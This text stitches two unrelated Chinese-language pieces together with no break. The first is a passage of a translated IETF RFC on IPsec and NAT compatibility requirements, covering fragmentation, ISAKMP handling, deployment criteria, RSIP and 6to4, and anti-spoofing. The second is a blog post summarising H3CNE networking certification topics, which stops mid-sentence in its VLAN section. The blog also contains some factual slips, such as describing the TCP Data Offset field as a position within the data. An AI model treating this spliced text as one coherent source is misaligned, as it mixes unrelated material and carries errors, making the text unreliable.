的第 6.3 节所述,在两台主机向同一目的地发送分段数据包的情况下,分段标识符可以重叠。由于目标主机依赖碎片标识符和碎片偏移量进行重组,结果将是数据损坏。很少有 NA(P)T 通过支持标识符转换来防止标识符冲突。当 NAT 执行分段时,标识符冲突不是问题,因为分段标识符只需要在源/目标 IP 地址对中是唯一的。由于片段可以小到 68 个八位字节 [RFC791],因此不能保证第一个片段将包含完整的 TCP 报头。因此,希望重新计算 TCP 校验和的 NA(P)T 可能需要修改后续片段。由于片段可以重新排序,并且 IP 地址可以嵌入甚至可能在片段之间拆分,因此 NA(P)T 将需要在完成转换之前执行重组。很少有 NA(P)T 支持这一点。m) 无法处理传入的片段。由于通常只有第一个片段将包含完整的 IP/UDP/SCTP/TCP 报头,因此 NAPT 需要能够仅根据源/目标 IP 地址和片段标识符来执行转换。由于片段可以重新排序,如果后续片段在初始片段之前到达,则可能不知道给定片段标识符的报头,并且报头可以在片段之间拆分。因此,NAPT 可能需要在完成翻译之前执行重新组装。很少有 NAPT 支持这一点。请注意,对于 NAT,源/目标 IP 地址足以确定转换,因此不会出现这种情况。但是,IPsec 或 IKE 报头可能会在片段之间拆分,因此可能仍需要重新组装。2.3、 助手不兼容IPsec 和 NAT“助手”功能之间的不兼容性包括:n) 互联网安全协商和密钥管理协议 (Internet Security Association and Key Management Protocol,ISAKMP) 报头检查。今天,一些 NAT 实现尝试使用 IKE cookie 来解复用传入的 IKE 流量。与源端口解复用一样,IKE cookie 解复用会导致重新生成密钥问题,因为阶段 1 重新生成密钥通常不会使用与早期流量相同的 cookie。o) 端口 500 的特殊处理。由于某些 IKE 实现无法处理非 500 UDP 源端口,因此某些 NAT 不会转换 UDP 源端口为 500 的数据包。这意味着这些 NAT 仅限于每个目的地一个 IPsec 客户端网关,除非他们检查 ISAKMP 报头的详细信息以检查产生上述问题的 cookie。p) ISAKMP 有效载荷检查。尝试解析 ISAKMP 有效载荷的 NA(P)T 实现可能无法处理所有有效载荷排序组合,或者不支持用于 IKE 选项协商的 vendor_id 有效载荷。3、 IPsec-NAT 兼容性要求IPsec-NAT 兼容解决方案的目标是将可用 IPsec 功能的范围扩展到 2.3 节中描述的 NAT 兼容 IPsec 隧道模式解决方案中可用的范围之外。在评估 IPsec-NAT 不兼容的解决方案时,应牢记以下标准:部署/ Deployment由于 IPv6 将解决经常导致在 IPv4 中使用 NA(P)Ts 的地址稀缺问题,因此 IPsec-NAT 兼容性问题是一个过渡问题,需要在 IPv6 广泛部署之前的时间范围内解决。因此,要发挥作用,IPsec-NAT 兼容性解决方案必须能够在比 IPv6 更短的时间范围内部署。由于 IPv6 部署需要更改路由器和主机,因此需要更改路由器和主机的潜在 IPsec-NAT 兼容性解决方案将在与 IPv6 大致相同的时间尺度上部署。因此,IPsec-NAT 兼容性解决方案应该只需要更改主机,而不需要更改路由器。除此之外,这意味着 IPsec-NAT 兼容性解决方案不应该要求主机和 NA(P)T 之间的通信,因为这将需要更改 NA(P)T,以及主机和主机之间的互操作性测试。NA(P)T 实现。为了在短期内实现部署,解决方案必须与部署的基础设施内的现有路由器和 NA(P)T 产品配合使用。协议兼容性/ Protocol CompatibilityIPsec NAT 穿越解决方案预计不会解决在 IPsec 不安全时无法穿越 NA(P)T 的协议的问题。因此,即使有 IPsec NAT 穿越解决方案可用,某些协议仍可能需要 ALG。安全/ Security由于 NA(P)T 方向性提供安全功能,IPsec NA(P)T 遍历解决方案不应允许来自任何 IP 地址的任意传入 IPsec 或 IKE 流量被 NA(P)T 后面的主机接收,尽管映射状态一旦建立双向 IKE 和 IPsec 通信,就应该保持。远程办公场景/ Telecommuter Scenario由于 IPsec 的主要用途之一是远程访问公司内部网,因此 NA(P)T 穿越解决方案必须支持 NA(P)T 穿越,通过 IPsec 隧道模式或 L2TP over IPsec 传输模式 [RFC3193]。这包括支持在远程客户端和 VPN 网关之间穿越一个以上的 NA(P)T。客户端可以具有可路由地址并且VPN网关可以在至少一个NA(P)T之后,或者替代地,客户端和VPN网关都可以在一个或多个NA(P)T之后。远程办公人员可能使用相同的私有 IP 地址,每个 IP 地址都在自己的 NA(P)T 后面,或者许多远程办公人员可能驻留在同一个 NA(P)T 后面的私有网络上,每个人都有自己唯一的私有地址,连接到同一个 VPN网关。由于 IKE 使用 UDP 端口 500 作为目的地,因此没有必要启用在同一外部 IP 地址后面运行的多个 VPN 网关。网关到网关场景/ Gateway-to-Gateway Scenario在网关-网关场景中,可以在公司网络和 Internet 之间插入专用寻址网络 (DMZ)。在此设计中,连接公司网络部分的 IPsec 安全网关可能驻留在 DMZ 中,并在其外部 (DMZ) 接口上具有专用地址。NA(P)T 将 DMZ 网络连接到 Internet。端到端场景/ End-to-End ScenarioNAT-IPsec 解决方案必须通过 IPsec 启用安全的主机-主机 TCP/IP 通信,以及主机-网关通信。专用网络上的主机必须能够建立一个或多个 IPsec 保护的 TCP 连接或 UDP 会话到另一台主机,它们之间有一个或多个 NA(P)T。例如,NA(P)T 可以部署在连接到公司网络的分支机构内,另外还有一个 NA(P)T 将公司网络连接到 Internet。同样,NA(P)T 可以部署在公司网络 LAN 或 WAN 内,以将无线或远程位置客户端连接到公司网络。这可能需要对主机上的 TCP 和 UDP 流量进行特殊处理。将 SCTP 连接建立到另一台主机之间,它们之间有一个或多个 NA(P)T 可能会带来特殊的挑战。SCTP 支持多归属。如果使用了多个 IP 地址,这些地址将在关联建立期间作为 SCTP 数据包的一部分进行传输(在 INIT 和 INIT-ACK 块中)。如果仅使用单宿主 SCTP 端点,[RFC2960] 部分 3.3.2.1 说明:请注意,在 INIT 和 INIT-ACK 中不使用任何 IP 地址参数是使关联更有可能跨 NAT 设备工作的替代方法。这意味着除非必要,否则不应将 IP 地址放入 SCTP 数据包中。如果存在 NAT 并且包含 IP 地址,则关联设置将失败。最近提出了 [AddIP],它允许在建立关联后修改 IP 地址。修改消息在 SCTP 数据包中也有 IP 地址,因此会受到 NAT 的不利影响。防火墙兼容性/ Firewall Compatibility由于防火墙被广泛部署,NAT-IPsec 兼容性解决方案必须使防火墙管理员能够创建简单的静态访问规则来允许或拒绝 IKE 和 IPsec NA(P)T 穿越流量。例如,这意味着要避免动态分配 IKE 或 IPsec 目标端口。规模化/ ScalingIPsec-NAT 兼容性解决方案应该能够部署在由数千名远程办公人员组成的安装中。在这种情况下,不可能假设一次只有一台主机与给定的目的地进行通信。因此,IPsec-NAT 兼容性解决方案必须解决重叠 SPD 条目和传入数据包解复用的问题。模式支持/ Mode Support至少,IPsec-NAT 兼容性解决方案必须支持穿越 [RFC2409] 和 [RFC2401] 内支持所需的 IKE 和 IPsec 模式。例如,IPsec 网关必须支持 ESP 隧道模式 NA(P)T 穿越,IPsec 主机必须支持 IPsec 传输模式 NA(P)T 穿越。AH 的目的是保护 IP 头中的不可变字段(包括地址),NA(P)T 转换地址,使 AH 完整性检查无效。因此,NA(P)T 和 AH 从根本上是不兼容的,并且 IPsec-NAT 兼容性解决方案不需要支持 AH 传输或隧道模式。向后兼容性和互操作性/ Backward Compatibility and InteroperabilityIPsec-NAT 兼容性解决方案必须与现有的 IKE/IPsec 实现互操作,以便它们可以在不存在 NA(P)T 的情况下进行通信。这意味着 IPsec-NAT 兼容性解决方案必须向后兼容 [RFC2401] 中定义的 IPsec 和 [RFC2409] 中定义的 IKE。此外,它应该能够检测到 NA(P)T 的存在,以便仅在必要时使用 NA(P)T 遍历支持。这意味着必须能够确定现有的 IKE 实现不支持 NA(P)T 遍历,以便可以发生标准的 IKE 对话,如 [RFC2407]、[RFC2408] 和 [RFC2409] 中所述。请注意,虽然这意味着向端口 500 发起 IKE,但不需要特定的源端口,因此可能会或可能不会使用 UDP 源端口 500。安全/ SecurityIPsec-NAT 兼容性解决方案不得引入额外的 IKE 或 IPsec 安全漏洞。例如,一个可接受的解决方案必须证明它没有引入新的拒绝服务或欺骗漏洞。必须允许 IKE 以双向方式重新生成密钥,如 [RFC2408] 中所述。4、 现有解决方案4.1、 IPsec隧道模式在有限的一组环境中,IPsec 隧道模式的实现,例如 [DHCP] 中描述的,有可能成功地穿越 NA(P)T。但是,成功遍历的要求非常有限,因此需要更通用的解决方案:1) IPsec ESP。IPsec ESP 隧道不覆盖消息完整性检查中的外部 IP 报头,因此不会因地址转换而导致身份验证数据失效。IPsec 隧道也不需要关心校验和失效。2) 没有地址验证。大多数当前的 IPsec 隧道模式实现不执行源地址验证,因此不会检测到 IKE 标识符和源地址之间的不兼容性。这引入了第 5 节中描述的安全漏洞。3) “Any to Any”SPD 条目。IPsec 隧道模式客户端可以协商“Any to Any”SPD,地址转换不会使这些 SPD 失效。这有效地排除了使用 SPD 来过滤允许的隧道流量。4) 单客户端操作。由于 NAT 后面只有一个客户端,因此不存在重叠 SPD 的风险。由于 NAT 不需要在竞争客户端之间进行仲裁,因此也不存在重新密钥错误转换或不正确的传入 SPI 或 cookie 解复用的风险。5) 不分段。使用证书身份验证时,可能会遇到 IKE 分段。这可能发生在使用证书链时,或者如果密钥大小或其他证书字段(例如专有名称和其他扩展名)的大小足够大,则甚至在交换单个证书时也会发生这种情况。但是,当使用预共享密钥进行身份验证时,分段的可能性较小。6) 活动会话。大多数 VPN 会话通常在其生命周期内保持持续的流量流,因此不太可能由于不活动而删除 UDP 端口映射。4.2、 RSIP[RSIP-Realm Specific IP: Protocol Specification] 和 [RSIPFrame] 中描述的 RSIP,包括 IPsec 穿越机制,如 [RSIPsec] 中所述。通过启用主机-NA(P)T 通信,RSIP 解决了 IPsec SPI 解复用问题以及 SPD 重叠问题。因此适用于企业以及家庭组网场景。通过使 NAT 后面的主机共享 NA(P)T(RSIP 网关)的外部 IP 地址,这种方法与包括嵌入式 IP 地址在内的协议兼容。通过隧道传输 IKE 和 IPsec 数据包,RSIP 避免了对 IKE 和 IPsec 协议的更改,尽管需要对托管 IKE 和 IPsec 实现进行重大更改,以使其与 RSIP 兼容。因此,它与所有现有协议 (AH/ESP) 和模式(传输和隧道)兼容。为了处理 IKE 重新密钥的解复用,RSIP 需要浮动 IKE 源端口,以及重新生成浮动端口的密钥。因此,无法保证与现有 IPsec 实现的互操作性。RSIP 不满足 IPsec-NAT 兼容解决方案的部署要求,因为启用 RSIP 的主机需要相应的启用 RSIP 的网关才能与另一台主机建立 IPsec SA。由于 RSIP 只需要对客户端和路由器进行更改,而不需要对服务器进行更改,因此它的部署难度不如 IPv6。但是,对于供应商而言,RSIP 的实施需要 IPv6 支持所需资源的很大一部分。因此,RSIP 在长期时间尺度上解决了“过渡”问题,这是没有用的。4.3、 6to4[RFC3056] 中描述的 6to4 可以构成 IPsec-NAT 穿越解决方案的基础。在这种方法中,NAT 为 IPv6 主机提供从 NAT 外部 IPv4 地址派生的 IPv6 前缀,并将 IPv6 数据包封装在 IPv4 中以传输到其他 6to4 主机或 6to4 中继。这使使用 IPsec 的 IPv6 主机能够与 IPv6 或 6to4 云中的其他主机自由通信。虽然 6to4 是一种优雅而强大的解决方案,其中单个 NA(P)T 将客户端和 VPN 网关分开,但它并不普遍适用。由于 6to4 需要将可路由的 IPv4 地址分配给 NA(P)T 以允许形成 IPv6 前缀,因此在客户端和 VPN 网关之间存在多个 NA(P)T 的情况下,它不可用。例如,在其外部接口上具有私有地址的 NA(P)T 不能被其后面的客户端用于通过 6to4 获取 IPv6 前缀。虽然 6to4 几乎不需要来自已经支持 IPv6 的主机的额外支持,但它确实需要更改 NAT,需要升级以支持 6to4。因此,6to4 短期内可能不适合部署。5、 安全考虑根据定义,IPsec-NAT 兼容性要求实现 IPsec 的主机和路由器能够安全地处理 IP 报头未加密保护的数据包。由此产生了许多值得讨论的问题。由于 IPsec AH 无法通过 NAT,因此提供 IPsec-NAT 兼容性解决方案的副作用之一可能是使用空加密的 IPsec ESP 代替 AH,其中源和目标之间存在 NAT。但是,应该注意的是,具有空加密的 ESP 不提供与 AH 相同的安全属性。例如,存在与 AH 排除的 IPv6 源路由相关的安全风险,但不通过空加密的 ESP。此外,由于带有任何转换的 ESP 不能防止源地址欺骗,因此需要执行某种源 IP 地址健全性检查。反欺骗检查的重要性并未被广泛理解。作为 IPsec_{esp,ah}_input() 的一部分,通常会对源 IP 地址进行反欺骗检查。这可确保数据包源自与原始 IKE 阶段 1 和阶段 2 安全联盟中声明的地址相同的地址。当接收主机位于 NAT 后面时,此检查对于单播会话可能没有严格意义,而在全球 Internet 中,此检查对于隧道模式单播会话很重要,以防止 [AuthSource] 中描述的欺骗攻击,这可能发生在接收方的访问控制取决于解封装后验证的 ESP 数据包的源 IP 地址。如果 IPsec-NAT 兼容方案使用源地址进行访问控制,则它应该提供反欺骗保护。让我们考虑两个主机 A 和 C,它们都在(不同的)NAT 之后,它们协商到路由器 B 的 IPsec 隧道模式 SA。主机 A 和 C 可能具有不同的特权;例如,主机 A 可能属于受信任访问大部分公司 Intranet 的员工,而 C 可能是仅被授权访问特定网站的承包商。如果主机 C 发送一个隧道模式的数据包欺骗 A 的 IP 地址作为源,重要的是这个数据包没有被赋予与 A 对应的权限。如果执行了身份验证和完整性检查,但没有反欺骗检查(验证原始IP 地址对应于 SPI),然后主机 C 可能会被允许访问网络中不受限制的部分。因此,IPsec-NAT 兼容方案必须提供一定程度的反欺骗保护。6、 参考文献6.1、 规范参考[RFC791] Postel, J., "Internet Protocol", STD 5, RFC 791, September 1981.
[RFC793] Postel, J., "Transmission Control Protocol", STD 7, RFC 793, September 1981.
[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997.
[RFC2401] Atkinson, R. and S. Kent, "Security Architecture for the Internet Protocol", RFC 2401, November 1998.
[RFC2402] Kent, S. and R. Atkinson, "IP Authentication Header", RFC 2402, November 1998.
[RFC2406] Kent,S. and R. Atkinson, "IP Encapsulating Security Payload (ESP)", RFC 2406, November 1998.
[RFC2407] Piper, D., "The Internet IP Security Domain of Interpretation for ISAKMP", RFC 2407, November 1998.
[RFC2409] Harkins, D. and D. Carrel, "The Internet Key Exchange (IKE)", RFC 2409, November 1998.
[RFC2663] Srisuresh, P. and M. Holdredge, "IP Network Address Translator (NAT) Terminology and Considerations", RFC 2663, August 1999.
[RFC3022] Srisuresh, P. and K. Egevang, "Traditional IP Network Address Translator (Traditional NAT)", RFC 3022, January 2001.6.2、 参考资料[RFC2408] Maughan, D., Schertler, M., Schneider, M. and J. Turner, "Internet Security Association and Key Management Protocol (ISAKMP)", RFC 2408, November 1998.
[RFC2960] Stewart, R., Xie, Q., Morneault, K., Sharp, C., Schwarzbauer, H., Taylor, T., Rytina, I., Kalla, M., Zhang, M. and V. Paxson, "Stream Control Transmission Protocol", RFC 2960, October 2000.
[RFC3056] Carpenter, B. and K. Moore, "Connection of IPv6 Domains via IPv4 Clouds", RFC 3056, February 2001.
[RFC3193] Patel, B., Aboba, B., Dixon, W., Zorn, G. and S. Booth, "Securing L2TP using IPsec", RFC 3193, November 2001.
[RFC3309] Stone, J., Stewart, R. and D. Otis, "Stream Control Transmission Protocol (SCTP) Checksum Change", RFC 3309, September 2002.
[RSIPFrame] Borella, M., Lo, J., Grabelsky, D. and G. Montenegro, "Realm Specific IP: Framework", RFC 3102, October 2001.
[RSIP] Borella, M., Grabelsky, D., Lo, J. and K. Taniguchi, "Realm Specific IP: Protocol Specification", RFC 3103, October 2001.
[RSIPsec] Montenegro, G. and M. Borella, "RSIP Support for End- to-End IPsec", RFC 3104, October 2001.
[DHCP] Patel, B., Aboba, B., Kelly, S. and V. Gupta, "Dynamic Host Configuration Protocol (DHCPv4) Configuration of IPsec Tunnel Mode", RFC 3456, January 2003.
[AuthSource] Kent, S., "Authenticated Source Addresses", IPsec WG Archive (ftp://ftp.ans.net/pub/archive/IPsec), Message-Id: <v02130517ad121773c8ed@[128.89.0.110]>, January 5, 1996.
[AddIP] Stewart, R., et al., "Stream Control Transmission Protocol (SCTP) Dynamic Address Reconfiguration", Work in Progress.7、 致谢感谢 AT&T Research 的 Steve Bellovin、西门子的 Michael Tuexen、微软的 Peter Ford、Extreme Networks 的 Ran Atkinson 和 Daniel Senie 对这个问题空间的有益讨论。8、 完整的版权声明版权所有 (C) 互联网协会 (2004)。本文档受 BCP 78 中包含的权利、许可和限制的约束,除其中规定外,作者保留其所有权利。本文档和其中包含的信息按“原样”提供,贡献者、他/她所代表或赞助的组织(如果有)、互联网社会和互联网工程特别工作组不作任何明示或保证暗示,包括但不限于任何保证,即使用此处的信息不会侵犯任何权利或任何暗示的适销性或适用于特定目的的保证。知识产权对于可能声称与本文档中描述的技术的实施或使用有关的任何知识产权或其他权利的有效性或范围,或者此类权利下的任何许可可能会或可能不会的程度,IETF 不采取任何立场能得到的;也不代表它已作出任何独立努力来确定任何此类权利。可以在 BCP 78 和 BCP 79 中找到有关 RFC 文档中权利的程序的信息。可以获取向 IETF 秘书处披露的 IPR 副本和任何可用许可的保证,或者可以获得本规范的实施者或用户使用此类专有权利的一般许可或许可的尝试结果来自 IETF 在线 IPR 存储库,网址为 http://www.ietf.org/ipr。IETF 邀请任何相关方提请其注意可能涵盖实施本标准可能需要的技术的任何版权、专利或专利申请或其他专有权利。请将信息发送至 IETF ietf-ipr@ietf.org。致谢RFC 编辑器功能的资金目前由互联网协会提供。
3万字总结!华三H3CNE知识点大集合,网络工程师收藏
大家好,我是瑞哥,昨天微信上有个朋友让我出一期H3CNE知识点的介绍。H3CNE我是太熟悉了,大学时候考H3CTE证书,H3CNE属于基础部分,那本《构建中小型企业网络》书籍不知道被我翻了多少遍,左一遍又一遍,看到最后,随便提到哪个技术点,我能一下子翻到,笔记也是做的密密麻麻。学过H3C认证的朋友都知道,虽然H3CNE属于基础认证,但是它涉及的技术点挺广的,有时候你学完H3CSE还要回来再巩固一下H3CNE的理论,因为好多基础H3CSE只是提一下,那么基础相对薄弱的同学学H3CSE的时候,就有这样的感觉,看完就忘,形不成体系!H3CNE理论不扎实,你就无法快速理解H3CSE为啥要分成大规模路由、园区网、广域网。今天瑞哥带大家好好梳理一下H3CNE的理论部分,通过思维导图的形式,给大家树立一个全局观念:可以看到H3CNE理论部分被我分成了28个部分,也是按照官方的教材分的:一、计算机网络概述二、网络参考模型三、局域网基本原理四、广域网基本原理五、TCP/UDP原理六、IP基本原理七、命令行操作基础八、网络设备文件管理九、网络设备调试十、以太网交换机工作原理十一.Vlan和Trunk十二、生成树协议十三、链路聚合十四、交换机端口安全技术十五、IP子网划分十六、DNS十七、文件传输协议十八、DHCP十九、VLAN问路二十、IPv6基础二十一、IP路由原理二十二、静态路由二十三、路由协议概述二十四、RIP二十五、OSPF二十六、ACL包过滤二十七、NAT二十八、PPP下面我们来逐一展开讲解!一、计算机网络概述计算机网络定义一组自治计算机互联的集合计算机网络基本功能资源共享综合信息服务分布式处理与负载均衡计算机网络的类型局域网LAN由用户自行建设,使用私有地址组建的网络城域网MAN由运营商或大规模企业建设,连接城市范围的网络广域网WAN由运营商建设,连接城域网范围的网络网络拓扑分类树型拓扑优点:结构简单,组网成本低维护管理容易星型拓扑的进一步发散型缺点:中央节点压力大可靠性差总线型拓扑所有设备共享一条公共线路,线路中断会导致所有设备中断通讯环型拓扑所有设备共享一条环型总线,有一定冗余性星型拓扑中央节点故障会导致全网中断,其他节点都与中央节点直接相连,某条线路中断不会影响其他节点网状拓扑优点:可靠性高节点之间有多条线路可达缺点:组网成本高维护管理复杂衡量网络性能的指标带宽单位时间内能够传输的数据总量,单位:bps,带宽越大,网络质量越好延迟数据从一个节点到达另一个节点消耗的时间,单位:ms,延迟越低,网络质量越好数据单位1Kb=1024b1Mb=1024Kb1Gb=1024MbByte,字节,一个数字或字母占用1字节,一个汉子占用2字节bit,比特,1Byte=8bit协议和标准协议,数据通讯双方共同遵守的通讯规则标准,公认的,所有厂商所共同遵守的协议规则标准化组织:制定定义国际公认参考标准的组织团体常见国际标准组织ISO,国际标准化组织IEEE,电子电器工程师协会二、网络参考模型OSI参考模型产生背景各大IT设备厂商只支持自己的私有协议,跨厂商设备兼容性差用户购买和维护成本高不利于网络技术发展概念定义了网络中设备所遵守的层次结构优点开放的标准化接口,协议不再封闭多厂商设备兼容易于理解、学习和更新协议标准实现模块化工程,降低开发难度便于故障排除分层1.物理层,定义电压、接口、线缆标准、传输距离、传输介质等物理参数2.数据链路层,MAC地址寻址3.网络层,网络层地址寻址、路由4.传输层,数据分段、建立端到端连接、维护传输可靠性5.会话层,建立、维护、拆除应用程序间的会话6.表示层,定义数据格式、结构;数据加密、压缩7.应用层,为应用程序进程提供网络服务OSI参考模型的问题划分层次过多,会话层、表示层存在意义不大IP协议成为事实的网络层唯一协议TCP/IP参考模型4层划分方法1.网络接口层物理层数据链路层2.网络层3.传输层4.应用层会话层表示层应用层5层划分方法1.物理层2.数据链路层3.网络层4.传输层5.应用层会话层表示层应用层数据封装和解封装定义封装:在原始数据的基础上加入一些额外信息形成新的格式解封装:拆除掉封装的额外信息,还原成原始数据TCP/IP分层封装1.物理层:比特流2.数据链路层:数据帧3.网络层:数据包4.传输层:数据段5.应用层:数据数据封装和解封装过程数据发送时,从上至下逐层封装数据接收时,从下至上逐层解封装只有拆除外层封装,才能看到内层封装三、局域网基本原理使用的协议及线缆物理层双绞线同轴电缆光纤无线电数据链路层以太网,唯一事实标准令牌环,淘汰FDDI:光纤分布式接口,淘汰网络层IP,唯一事实标准IPX,淘汰Apple talk,淘汰局域网设备集线器内部为总线型拓扑任意时间只能由一台主机占用总线,连接的所有设备位于同一冲突域工作在物理层,没由寻址能力,所有数据泛洪式转发交换机内部每两个接口都有一条独立线路,每个接口都是独立的冲突域工作在数据链路层,基于MAC地址寻址,数据可单点转发冲突域设备发送数据会产生冲突的网络范围CSMA/CD带冲突检测的载波侦听多路访问局域网线缆双绞线线型:直连线异类直连两端线序一致交叉线同类交叉两端线序不一致线序:T568A:白绿,绿,白橙,蓝,白蓝,橙,白棕,棕T568B:白橙,橙,白绿,蓝,白蓝,绿,白棕,棕接口类型:RJ-45RJ-11光纤多模光纤:纤芯较粗,可传递多种光源传输距离短成本低单模光纤:纤芯较细,只能传递单一光源传输距离远成本高四、广域网基本原理使用的协议及线缆物理层串行线缆,淘汰光纤,EPON数据链路层PPP,淘汰HDLC,淘汰帧中继,淘汰以太网,唯一事实标准网络层IP,唯一事实标准连接方式电路交换PSTNISDN,淘汰分组交换,淘汰ADSLEPON五、TCP/UDP原理端口每个应用程序进出网络都需要经过一个唯一端口,通过端口号来识别数据交由哪个应用程序处理服务端:固定端口号客户端:1024以上随机端口知名端口号80 HTTP20 21 FTP23 TELNET25 SMTP53 DNSTCP的原理TCP头部封装格式Source Port,源端口Destination Port,目的端口Seq,序列号,标识本机发送的数据报文的编号Acknowledgement,确认号,标识请求对方下次发送的数据报文的编号Data Offset,数据偏移,标识数据分段在完整数据中的位置Reserved,保留位URG,紧急开关Ack,确认位开关PsRst,复位开关,用于强行中断TCP连接Syn,握手开关Fin,结束开关window,窗口尺寸,用来通告本机的接收能力Checksum,校验序列Urgent Pointer,紧急指针Options,可选项TCP可靠性机制确认机制Seq=上一次ack
Ack=上一次的seq+length如果没有接收到,或接收到的是不完整数据,会再次发送Ack请求对方重发三次握手第一次,SYN置位第二次,SYN,ACK置位第三次,ACK置位窗口机制滑动窗口,通过通告对方本机接收能力,来实现流量控制完整性校验通过Checksum来检查数据完整性TCP特征优点:传输可靠性高缺点:占用带宽高,传输延迟高TCP的适用场景对数据完整性要求高,但是对传输延迟要求低UDP的原理UDP特征优点:占用带宽低,传输延迟低缺点:没有任何可靠性机制UDP的适用场景对传输延迟要求高,但数据完整性要求低六、IP基本原理IP的定义当前唯一的网络层协议标准定义数据网络层的封装方式、编址方法IP头部封装格式version,版本,用于标识封装是IPv4还是IPv6IHL,头部长度,描述了数据包头的内容长度Type of service,服务类型,用于标识DSCP或IP优先级,用于QOS识别Total length,数据包总长度Identification,标识符,用于标识某个分片来自于哪个数据包Flags,标志,标识数据包是否允许分片Fragment offset,分片偏移,用于描述分片在数据包中的位置Time to Live,TTL,生存时间,该数据包允许经过的路由器的最大跳数Protocol,协议,用于标识上层协议是TCP/UDP/ICMPHeader Checksum,头部校验序列,用于头部信息差错校验Source Address,源IP地址Destination Address,目的IP地址Options,可选项IP地址定义网络层地址格式32位长度,点分十进制由网络位+主机位组成网络位长度和数字完全一致的地址属于同一网段分类A类地址范围:1.0.0.0-126.255.255.255网络位划分,前8位为网络位,后24位为主机位B类地址范围:128.0.0.0-191.255.255.255网络位划分,前16位为网络位,后16位为主机位C类地址范围:192.0.0.0-223.255.255.255网络位划分,前24位为网络位,后8位为主机位D类地址范围:224.X.X.X-239.X.X.X作用,组播地址,不可用于配置为地址E类地址范围:240.X.X.X-255.X.X.X作用,科研用地址,不对公开放IP地址分类用来划分不同的网络规模特殊地址127.X.X.X,本地环回地址,用于标识本机主机位全0的地址,网络地址,用来标识某个网段主机位全1的地址,本网段广播地址255.255.255.255,全网广播地址0.0.0.0,任意IP地址公网/私网地址公网地址,可以在互联网上寻址的地址,全球唯一,需要运营商分配私网地址,本地随意使用,无法在互联网上寻址地址范围:A类:10.0.0.0-10.255.255.255B类:172.16.0.0-172.31.255.255C类:192.168.0.0-192.168.255.255ARP协议定义地址解析协议,把IP地址解析为Mac地址工作原理A主机以广播形式发送ARP查询请求,询问B主机的IP对应的MAC地址B主机以单播形式回复A主机本机MAC地址A主机把B主机的IP地址和MAC地址的映射关系写入ARP缓存表相关命令查询ARP缓存arp -a清空ARP缓存arp -dICMP协议Ping,测试网络连通性Tracert,路由跟踪H3C的设备开启路由跟踪功能需要的前置命令ip ttl-expires enableIP数据转发原理如果目的IP和本机IP属于同一网段,会直接查询目的IP的Mac地址,并进行封装如果目的IP和本机IP不属于同一网段,会查询网关IP地址的Mac地址,并进行封装网关本网段出口的IP地址七、命令行操作基础H3C路由交换产品连接方法使用console线本地连接协议Serial,接口com口,波特率9600适用于设备的初次调试使用Telnet远程访问适用于设备上架配置好后的维护管理使用SSH远程访问数据传输过程加密,安全的远程访问命令行使用基础命令行视图用户视图<h3c>只能查看配置,不能修改配置系统视图[h3c]可以查看和修改全局配置接口视图[H3C-GigabitEthernet0/0]可以对接口修改配置视图的切换system-view:从用户视图进入系统视图interface g0/0:从系统视图进入g0/0接口的接口视图quit:返回上层视图return:直接返回到用户视图,快捷键 Ctrl+Z常用查看命令display current-configuration:查看当前的所有配置display ip interface brief:查看所有三层接口的摘要信息display ip interface g0/0:查看g0/0接口的详细信息display version:查看设备硬件版本信息display this:查看当前视图下配置了哪些参数设备操作命令sysname R1:更改设备名称为R1reboot:重启设备save:保存当前配置reset saved-configuration:清空保存的配置,不会影响设备的当前运行状态命令行帮助命令简写?键命令提示Tab 键自动补齐命令八、网络设备文件管理设备存储器ROM,只读存储器,存储了Bootrom程序,在Bootrom模式下可以破解密码Flash,闪存,永久存储操作系统文件、配置文件等数据RAM,内存,存储当前正在运行的数据,断电数据会丢失设备的配置文件当前配置current-configuration设备当前正在运行和生效的配置信息,存储在RAM中起始配置startup-configuration每次设备开启会自动加载的配置信息,存储在Flash中起始配置文件的备份通过USB或者FTP把startup.cfg和startup.mdb拷贝到其他存储配置还原后,需要通过startup saved‐configuration startup.cfg命令来指定新的配置文件九、网络设备调试Debug定义对相应的协议所收发的所有报文全部在屏幕上输出显示用于网络排错开启debub命令terminal monitorterminal debuggingdebugging 协议类型结束dubugundo debugging all十、以太网交换机工作原理以太网定义传输标准Ethernet II类型帧的网络特征多路访问,广播式的网络Mac地址每台网络设备生产时就写入的一个全球唯一的物理地址48位长度,16进制格式地址前24位为厂商标识,后24是设备标识以太网帧格式目的Mac地址源Mac地址服务和类型DATA帧校验序列交换机定义工作在数据链路层,通过识别Mac地址来进行数据转发的设备交换机数据转发原理MAC地址表记录交换机每个端口和所连接的设备的MAC地址的映射关系一个端口可以对应多个MAC地址一个Mac地址不能对应多个接口老化时间:300秒工作机制交换机学习数据帧的源MAC地址,来获得端口和设备MAC地址的映射关系,写入MAC地址表交换机检查数据帧的目的MAC地址,从MAC地址表中的映射关系来判断把数据帧从哪个端口发出交换机对于目的MAC地址不存在于MAC地址表中的数据帧进行广播处理数据帧的转发方式对于目的MAC地址已知的单播帧,交换机查询MAC地址表进行转发对于目的MAC地址未知的单播帧,交换机进行广播处理对于广播帧,交换机继续广播处理数据传输模式单播,接收者是某一个设备广播,接收者是所有其他设备组播,接收者是某一部分设备广播域网络中所有能接收到同样广播消息的设备的集合默认情况下,交换机的所有端口属于同一个广播域十一、Vlan和TrunkVLAN的定义虚拟局域网,用来在二层网络中隔离广播域不同VLAN的设备在二层网络中无法互相通讯VLAN的转发过程举例PC发送数据帧进入交换机,会被打上vlan tag;vlan tag中的vlan id就是收到帧的接口的所属vlan;一旦数据帧被打上vlan tag,就变成了802.1Q格式的帧2.交换机检查数据帧的目的MAC地址,进行判断;如果目的MAC对应的接口允许tag中的vlan id通过,则数据帧可以转发;否则,丢弃该帧3.数据帧从出接口发往PC前,会剥离vlan tag,使之还原为标准的以太网帧格式802.1Q在源Mac地址和Type之间携带vlan tag的帧格式,计算机不识别VLAN工作原理交换机端口类型Access必须加入到一个vlan,只能加入到一个vlan;从access端口收到的帧,会打上该端口所属vlan的tag;从access端口发出的帧会剥离tag一般用来连接PC或路由器H3C交换机默认所有端口都是access类型属于vlan1;华为是hybridTrunk可以允许多个vlan的数据通过;从trunk端口发出的帧保留vlan 